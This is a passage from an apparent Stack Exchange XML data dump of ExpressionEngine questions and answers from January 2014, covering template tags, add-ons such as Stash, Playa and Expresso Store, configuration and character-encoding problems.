var_prefix=&quot;credits_matrix&quot;}&#xA;                            {stash:credits__text}{credits_matrix:text}{/stash:credits__text}&#xA;                            {stash:credits__url}{credits_matrix:url}{/stash:credits__url}&#xA;                        {/related_article:news-credits}&#xA;                    {/exp:stash:set_list:credits}&#xA;&#xA;                {/related-news-article} {!-- END Playa --}&#xA;                {stash:commentary}{commentary}{/stash:commentary}&#xA;            {/commentary__content} {!-- END Matrix --}&#xA;        {/exp:stash:set_list:commentary__content}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stash get_list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;news-commentary&quot;}&#xA;    &amp;lt;h1&amp;gt;{commentary__title}&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;ol class=&quot;commentary-list&quot;&amp;gt;&#xA;    {exp:stash:get_list:commentary__content name=&quot;commentary__content&quot; context=&quot;entry_{news-commentary__entry_id}&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{news__title}&amp;lt;/h2&amp;gt;&#xA;            {news__body}&#xA;&#xA;            {exp:stash:get_list:news__credits name=&quot;news__credits&quot; context=&quot;entry_{news__entry_id}&quot;}&#xA;                    {stash:credits__text}&#xA;                    {stash:credits__url}&#xA;            {/exp:stash:set_list:credits}&#xA;&#xA;            {if commentary}&#xA;                &amp;lt;h3&amp;gt;Commentary&amp;lt;/h3&amp;gt;&#xA;                {commentary}&#xA;            {/if}&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list:commentary__content}&#xA;    &amp;lt;/ol&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI, due to massive simplification and obfuscation of the actual template code, any typos you find may or may not be actual problems in the original template. ;)&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2014-02-14T12:31:04.347" Title="Help with Matrix-&gt;Playa-&gt;Matrix while using Stash for {image_1} shortcode replacements" Tags="|matrix|playa|stash|shortcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18317" PostTypeId="2" ParentId="18307" CreationDate="2014-01-13T12:46:36.193" Score="1" Body="&lt;p&gt;Unfortunately not. Best you could do is run a cron job which replicates the &lt;code&gt;exp_members&lt;/code&gt; table periodically, then compares it to the real table, and takes action on any members whose groups affiliations have changed.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-13T12:46:36.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18318" PostTypeId="2" ParentId="13575" CreationDate="2014-01-13T13:49:54.327" Score="1" Body="&lt;p&gt;I just had this exact problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added 777 to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;system &gt; expressionengine &gt; cache &gt; assets&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;system &gt; expressionengine &gt; cache &gt; assets &gt; thumbs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-01-13T13:49:54.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18319" PostTypeId="2" ParentId="18315" CreationDate="2014-01-13T14:02:42.790" Score="1" Body="&lt;p&gt;There's a configuration value for the location of your themes directory. By default, in EE you'd change those by going here in the EE control panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin &gt; General Configuration &gt; URL to your &quot;themes&quot; folder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually, many developers start setting configuration options like that in their config.php file; in this case, &lt;code&gt;$config['theme_folder_path']&lt;/code&gt;and  &lt;code&gt;$config['theme_folder_url']&lt;/code&gt; would be the applicable items. Delving into auto-setting dev/staging/production settings in config.php is beyond the scope of this post, but, is something you'll probably want to look into, if you haven't already.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-13T14:02:42.790" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18320" PostTypeId="1" AcceptedAnswerId="18375" CreationDate="2014-01-13T14:10:27.263" Score="1" ViewCount="215" Body="&lt;p&gt;I am looking for an answer how must I code a link to a AJAX popup window for users to login.&#xA;I have my login link in a menu that is on all my pages.&#xA;Also logout.&#xA;I tried to read about this AJAX but I get &lt;strong&gt;very&lt;/strong&gt; confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot! for helping me out with a simple answer.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-01-14T18:38:21.953" Title="what must I do to make a AJAX popup window for logging in and out using freemember?" Tags="|ajax|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18321" PostTypeId="2" ParentId="18299" CreationDate="2014-01-13T14:12:50.503" Score="0" Body="&lt;p&gt;When I've seen problems like this before it's been a parse order issue; perhaps the unnecessary quotes around &quot;1&quot; in the conditional are throwing things off? Try &lt;code&gt;{if count==1}&lt;/code&gt; and see what happens.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-13T14:12:50.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18322" PostTypeId="1" AcceptedAnswerId="18368" CreationDate="2014-01-13T14:17:36.693" Score="1" ViewCount="732" Body="&lt;p&gt;i'd like to use devdemon channel images on amazon s3 hosts but i need to dynamically resizing images on http requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i need something very similar to the google cdn:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example, adding the =s paramter to scale the image i get the needed image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lh6.ggpht.com/VMLEHAa3kSHEoRr7AchhQ6HEzHVTn1b7Mf-whpxmPlpdrRfPW216UhYdQy3pzIe4f8Q7PKXN79AD4eRqu1obC7I=s200&quot; rel=&quot;nofollow&quot;&gt;http://lh6.ggpht.com/VMLEHAa3kSHEoRr7AchhQ6HEzHVTn1b7Mf-whpxmPlpdrRfPW216UhYdQy3pzIe4f8Q7PKXN79AD4eRqu1obC7I=s200&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;do you know if there's similar options on amazon s3? i've looked inside docs, support sites and forums but i was not lucky, too much informations and nothing clear for me (i'm not a expert developer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or there's a way to use channel images with google cdn in a simply way like as s3?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please, if you know how to do it let me know, thank you&#xA;Valerio&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-01-14T16:45:13.217" Title="Amazon s3 image scaling" Tags="|channel-images|s3|devdemon|resize|amazon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18323" PostTypeId="2" ParentId="18289" CreationDate="2014-01-13T14:35:18.447" Score="1" Body="&lt;p&gt;This requires a couple of add-ons, but, is actually pretty easy to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build a list of links to your category pages (at /template_group_name/template_name/category_url_title):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories ...}&#xA;     &amp;lt;a href=&quot;{site_url}/template_group_name/template_name/{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the conditional logic for analyzing the categories in your template. It will look at the category URL segment (&lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Seg2Cat add-on needed to retrieve category info from URL segments&lt;/a&gt;) and &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;use speedy complex conditional using IfElse&lt;/a&gt; to determine which layout to use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}&#xA;  {if &quot;{segment_3_category_id}&quot; == &quot;id of big fishes&quot;}&#xA;     ... big fish content ...&#xA;  {if:elseif &quot;{segment_3_category_id}&quot; == &quot;id of fishes category&quot; OR &quot;{segment_3_category_parent_id}&quot; == &quot;id of fishes category&quot;}&#xA;     ... fishes content ...&#xA;  {if:elseif &quot;{segment_3_category_id}&quot; == &quot;id of dogs category&quot; OR &quot;{segment_3_category_parent_id}&quot; == &quot;id of dogs category&quot;}&#xA;     ... dogs content ...&#xA;  {if:elseif &quot;{segment_3_category_id}&quot; == &quot;id of cats category&quot; OR &quot;{segment_3_category_parent_id}&quot; == &quot;id of cats category&quot;}&#xA;     ... cats content ...&#xA;  {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first check is for your &quot;big fishes&quot; special-case template; after that, it will look at the category (or parent category) of the category specified in the URL in order to display the correct content.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-13T14:35:18.447" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18324" PostTypeId="2" ParentId="18299" CreationDate="2014-01-13T14:35:51.480" Score="2" Body="&lt;p&gt;I've seen this before when &lt;code&gt;{exp:search:keywords}&lt;/code&gt; is used twice in the same template. Try adding &lt;code&gt;random&lt;/code&gt; to the tag so that it's not cached by the template parser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:keywords random}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-13T14:35:51.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18325" PostTypeId="1" AcceptedAnswerId="18329" CreationDate="2014-01-13T14:59:18.933" Score="1" ViewCount="69" Body="&lt;p&gt;In my comment form I use {if captcha}...{/if} to only show the captcha if it is required. It is showing up for non-logged in users and not for myself, which makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is: How do I turn it off completely? I can not find any setting to turn of captcha's for comment forms in my 2.7.2 install.&lt;/p&gt;&#xA;" OwnerUserId="1831" LastActivityDate="2014-01-13T16:06:31.467" Title="Captcha showing in comment form even with captcha off?" Tags="|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18326" PostTypeId="1" CreationDate="2014-01-13T15:01:27.357" Score="0" ViewCount="171" Body="&lt;p&gt;I have a strange situation where Russian characters are outputted as garbage if the template type is JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. &quot;Российской Федерации&quot; is outputted correctly if the template is &quot;Web Page&quot;, but outputted as &quot;Ð Ð¾ÑÑÐ¸Ñ&quot; if JavaScript is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas where I might be going wrong?&lt;/p&gt;&#xA;" OwnerUserId="1315" LastActivityDate="2014-01-13T16:51:13.413" Title="UTF8 characters for Javascript template" Tags="|templates|javascript|character-encoding|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18327" PostTypeId="1" AcceptedAnswerId="18365" CreationDate="2014-01-13T15:29:00.770" Score="4" ViewCount="297" Body="&lt;p&gt;We're about to embark on a new project where we need to deploy a relatively simple shop, subscriptions, donations and the ability to offer subscribed members a percentage discount on all purchases in the shop. Users should also be able to opt to become members (paid subscription) at checkout. It would be great if this then facilitated an immediate percentage discount on products in their basket too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at Exp:resso Store (which I love because it embraces the 'products as entries' approach) but I'm not familiar enough with it to know if there's a way to use it to achieve all or any of the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our client currently uses a very old version of X-cart and PayPal, as I understand it this creates formal subscriptions in PayPal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it reasonable to expect that Store would be able to fulfil the requirements above or am I looking at the wrong product?&lt;/p&gt;&#xA;" OwnerUserId="389" LastEditorUserId="389" LastEditDate="2014-01-13T17:04:42.473" LastActivityDate="2014-01-15T20:47:26.317" Title="Can Exp:resso Store handle recurring subscriptions" Tags="|expresso-store|ecommerce|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18328" PostTypeId="2" ParentId="18315" CreationDate="2014-01-13T15:50:43.267" Score="1" Body="&lt;p&gt;Sounds like your .htaccess file needs to account for your subfolder when removing index.php for EE. Here's a code snippet you can use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine On&#xA;&#xA;    # Removes index.php&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    # RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;    # IF YOU HAVE WEBSITE IN A SUB FOLDER: comment out above line, uncomment below line, &amp;amp; replace 'SUBFOLDERNAME'&#xA;    RewriteRule ^(.*)$ /SUBFOLDERNAME/index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-01-13T15:50:43.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18329" PostTypeId="2" ParentId="18325" CreationDate="2014-01-13T16:06:31.467" Score="2" Body="&lt;p&gt;You can remove the {captcha} tags from the templates, or comment them out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- {captcha} etc.. --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and / or turn the captcha off on each channel by going to the channel preference for the relevant channel: Admin &gt; Channel Admin &gt;  Channels &gt; Edit Prefs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/security/captchas.html&quot; rel=&quot;nofollow&quot;&gt;Captcha docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-01-13T16:06:31.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18330" PostTypeId="1" CreationDate="2014-01-13T16:18:21.950" Score="1" ViewCount="53" Body="&lt;p&gt;Made a rookie mistake and deleted Structure from the server before uninstalling it first from the EE CP. Now, after I've reuploaded it, it still won't appear. I've tried going into the config file and turning off extensions while I reinstall it, no luck. Figuring that this error on my part probably caused some Structure tables to be leftover on the database, I logged into the database and deleted all of the prefixes that matched Structure. Still, no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I'm guessing this is a consequence of my error. If so, how would I go about correcting it? I have too much additional unrelated work on this site to do a backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2548" LastActivityDate="2014-01-13T16:29:23.317" Title="Structure Won't Appear in Control Panel Anymore" Tags="|control-panel|structure|database|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18331" PostTypeId="1" CreationDate="2014-01-13T16:26:44.377" Score="1" ViewCount="96" Body="&lt;p&gt;I am creating a signup form for an event where you can register multiple users at once. Does free form pro support some sort of repeatable blocks?&#xA;Clicking &quot;add another user&quot; would add additional fields for name, surname and emailadres.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tnx,&#xA;Kristoffer&lt;/p&gt;&#xA;" OwnerUserId="2599" LastActivityDate="2014-02-12T17:29:23.670" Title="free form pro: repeatable fieldset" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18332" PostTypeId="2" ParentId="18330" CreationDate="2014-01-13T16:29:23.317" Score="2" Body="&lt;p&gt;Make sure you also remove any rows referencing Structure references in the modules, extensions, and accessories tables.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-13T16:29:23.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18333" PostTypeId="2" ParentId="18331" CreationDate="2014-01-13T16:32:28.647" Score="1" Body="&lt;p&gt;Currently, stock, there are no Matrix or Grid like fieldtypes. Sorry.&#xA;There is however this: &lt;a href=&quot;http://devot-ee.com/add-ons/grid-fieldtype-for-freeform&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/grid-fieldtype-for-freeform&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-01-13T16:32:28.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18334" PostTypeId="2" ParentId="18326" CreationDate="2014-01-13T16:51:13.413" Score="1" Body="&lt;p&gt;What is going wrong is character encoding. If you have the text Российской Федерации as UTF-8 encoded and this data is then misinterpreted as being windows-1252 encoding, you get Ð Ð¾ÑÑÐ¸Ð¹ÑÐºÐ¾Ð¹ Ð¤ÐµÐ´ÐµÑ€Ð°Ñ†Ð¸Ð¸. So apparently the data has been entered correctly, but the software is not interpreting it properly.&lt;/p&gt;&#xA;" OwnerUserId="2598" LastActivityDate="2014-01-13T16:51:13.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18335" PostTypeId="1" AcceptedAnswerId="18357" CreationDate="2014-01-13T17:00:53.953" Score="0" ViewCount="94" Body="&lt;p&gt;I have migrated my EE 2.5.1 install to a new dev machine (actually just OS - Ubuntu 13.10 - reinstall from scratch) and cannot get past WSOD in home or system. I checked the instructions from the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/operations/moving.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;server migration guide&lt;/a&gt;, file permissions etc. seem to be good. Database config is good and config.php has all the same paths as previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can reach phpinfo page in the same directory as index.php. I can also get to the server wizard front page, but as soon as I click &quot;check my server&quot; I get the WSOD again. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/requirements.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;System requirements&lt;/a&gt; are good according to phpinfo. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have absolutely no debugging info on index.php or system, regardless of debug=1 in index.php and &lt;a href=&quot;https://expressionengine.stackexchange.com/a/1085/1235&quot;&gt;xdebug.scream&lt;/a&gt; in php.ini; the only error in Apache logs is a warning from the phpinfo page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only difference I can think of between this and the previous install is that I installed PHP5-cli first, before Apache2, and had to install php5-mod-apache afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get past the WSOD, or at least get some more debugging info?&lt;/p&gt;&#xA;" OwnerUserId="1235" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-01-14T11:54:49.557" Title="WSOD on index.php and system, no problem reaching phpinfo" Tags="|debugging|server-migration|blank-screen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18336" PostTypeId="2" ParentId="18254" CreationDate="2014-01-13T17:35:12.880" Score="2" Body="&lt;p&gt;Adrian showed us the light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we are using radio buttons instead of a select drop-down, this line had to go from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (this.form.elements[&quot;payment_method&quot;].value == &quot;stripe&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($(this.form).find(&quot;[name='payment_method']:checked&quot;).val() == &quot;Stripe&quot;) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Been working like a champ since the fix. Thanks exp-resso guys!&lt;/p&gt;&#xA;" OwnerUserId="2589" LastActivityDate="2014-01-13T17:35:12.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18337" PostTypeId="2" ParentId="18307" CreationDate="2014-01-13T17:54:20.693" Score="2" Body="&lt;p&gt;As Derek said, there isn't a hook for member group change, but you could accomplish this by using the two member update hooks provided by the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/member_model/index.html#member-model-extension-hooks&quot; rel=&quot;nofollow&quot;&gt;Member Model&lt;/a&gt; in conjunction with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#cache-access&quot; rel=&quot;nofollow&quot;&gt;Cache Access provided by the Session Class&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hook 1: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/member_model/index.html#member-update-start&quot; rel=&quot;nofollow&quot;&gt;member_update_start&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;In your method called by this hook store the member's existing group_id using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#Session%3a%3aset_cache&quot; rel=&quot;nofollow&quot;&gt;Session Class &lt;code&gt;set_cache()&lt;/code&gt; method.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hook 2: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/member_model/index.html#member-update-end&quot; rel=&quot;nofollow&quot;&gt;member_update_end&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;In your method called by this hook retrieve the existing group_id (set above) by using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#Session%3a%3acache&quot; rel=&quot;nofollow&quot;&gt;Session Class &lt;code&gt;cache()&lt;/code&gt; method&lt;/a&gt; and compare it to the updated group_id to see if it has changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works well in my quick test.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-01-24T14:55:27.227" LastActivityDate="2014-01-24T14:55:27.227" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18339" PostTypeId="1" AcceptedAnswerId="18346" CreationDate="2014-01-13T19:20:08.173" Score="4" ViewCount="305" Body="&lt;p&gt;I've set up a working store using Expresso Store for my client that has been live for a few months now. (see &lt;a href=&quot;http://shoptipsy.com/shop&quot; rel=&quot;nofollow&quot;&gt;http://shoptipsy.com/shop&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to extend the functionality of their store using the Fedex shipping plugin Expresso offers. I've installed the Fedex Store plugin according to their instructions, enabled it and added the &quot;test&quot; credentials supplied by FedEx for their FedEx account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the additional shipping options that are supposed to be added to my &lt;code&gt;{field:shipping_method}&lt;/code&gt; template tag are not being added -- only the other shipping options I've already set up in the Store add-on are appearing. I'm seeing this behavior both on my local and staging servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when I attempt to choose one of my existing shipping methods (&quot;In-store pickup&quot; for example), I get the following error and can't progress in the checkout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'Store\Exception\ShippingException' with message 'Authentication Failed' in /storage/av01061/www/staging_html/tipsymin/expressionengine/third_party/store_fedex/ext.store_fedex.php:200 Stack trace: #0 /storage/av01061/www/staging_html/tipsymin/expressionengine/third_party/store_fedex/ext.store_fedex.php(132): Store_fedex_ext-&amp;gt;parse_response(Object(Guzzle\Http\Message\Response)) #1 [internal function]: Store_fedex_ext-&amp;gt;shipping_methods(Object(Store\Model\Order), Array) #2 /storage/av01061/www/staging_html/tipsymin/expressionengine/libraries/Extensions.php(262): call_user_func_array(Array, Array) #3 [internal function]: EE_Extensions-&amp;gt;universal_call('store_order_shi...', Object(Store\Model\Order), Array) #4 /storage/av01061/www/staging_html/tipsymin/expressionengine/libraries/Extensions.php(119): call_user_func_array(Array, Array) #5 /storage/av01061/www/staging_html/tipsymin/expressionengine/third_party/store/src/Store/Service/OrdersService.php(491): EE_Extensions-&amp;gt;call('store_order_shi...', in /storage/av01061/www/staging_html/tipsymin/expressionengine/third_party/store_fedex/ext.store_fedex.php on line 200&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it appears that the FedEx extension is doing something, but I'm not sure why I can't even see the options it is supposed to include in my auto-generated shipping methods dropdown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give some more info, my checkout process is broken into four screens:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;View the cart and confirm the contents&lt;/li&gt;&#xA;&lt;li&gt;Enter billing and shipping address and choose shipping method&lt;/li&gt;&#xA;&lt;li&gt;Enter payment details&lt;/li&gt;&#xA;&lt;li&gt;Order confirmation&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help/suggestions are greatly appreciated. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Store 2.0.4 and Store Fedex Shipping 1.0.2 &lt;/p&gt;&#xA;" OwnerUserId="2600" LastActivityDate="2014-01-14T00:03:43.897" Title="Expresso Store FedEx Shipping plugin throwing error and not adding shipping methods to checkout" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18340" PostTypeId="1" CreationDate="2014-01-13T19:51:34.853" Score="0" ViewCount="107" Body="&lt;p&gt;Just wondering if anyone has a solution for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want relationships between two channels... nothing fancy. But in the CP I want from both channels to be able to create the relations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have the channel Bakery and Bread.&#xA;1: From the bakery I want to be able to add one or more breads.&#xA;2: From the bread I want to be able to add a bakery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I could do this by adding a relationships field to both of the channels and point them to the opposite channel. But both fields won't know of each others existence thus not displaying the relations made in the opposite channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is probably because of the ability to sort the relations. But that feature is something we don't need for this specific problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I made clear what I need :) hopefully someone knows of a solution.&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2014-01-13T22:40:43.247" Title="Many to Many Relationships" Tags="|relationships|related-entries|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18341" PostTypeId="2" ParentId="18340" CreationDate="2014-01-13T22:10:26.280" Score="1" Body="&lt;p&gt;You might be able to do this with a plugin (maybe Playa), but EE won't do this out of the box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really, EE wants you to do relationships one-way. Either set up a bakery to select types of bread OR for each bread-type, say which bakery it's available at. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any particular reason it needs to be both ways? It might seem easier, but it ends up being confusing.&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-01-13T22:10:26.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18342" PostTypeId="1" CreationDate="2014-01-13T22:11:15.187" Score="1" ViewCount="458" Body="&lt;p&gt;I have a photo gallery that when you click on a photo, opens a modal of a larger view of the image, which works fine.  I also have a Pinterest button in the modal, with the intention of &quot;pinning&quot; said photo.  My issue is that I'm having problems getting the proper parameters passed thru to the Pinterest link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my loop for the photos &amp;amp; Pinterest link...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;links&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;tours&quot;}&#xA;    {tour_photo_gallery}&#xA;    &amp;lt;a href=&quot;{tour_photo_gallery:photo:large}&quot; title=&quot;{tour_photo_gallery:caption}&quot; data-gallery&amp;gt;&#xA;        &amp;lt;img src=&quot;{tour_photo_gallery:photo:small}&quot; alt=&quot;{tour_photo_gallery:caption}&quot;&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;    {/tour_photo_gallery}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;blueimp-gallery&quot; class=&quot;blueimp-gallery&quot;&amp;gt;&#xA;    &amp;lt;!-- The container for the modal slides --&amp;gt;&#xA;    &amp;lt;div class=&quot;slides&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;!-- Controls for the borderless lightbox --&amp;gt;&#xA;    &amp;lt;h3 class=&quot;title&quot;&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;a class=&quot;prev&quot;&amp;gt;‹&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a class=&quot;next&quot;&amp;gt;›&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a class=&quot;close&quot;&amp;gt;×&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a class=&quot;play-pause&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;ol class=&quot;indicator&quot;&amp;gt;&amp;lt;/ol&amp;gt;&#xA;    &amp;lt;!-- The modal dialog, which will be used to wrap the lightbox content --&amp;gt;&#xA;    &amp;lt;div class=&quot;modal fade&quot;&amp;gt;&#xA;        &amp;lt;div 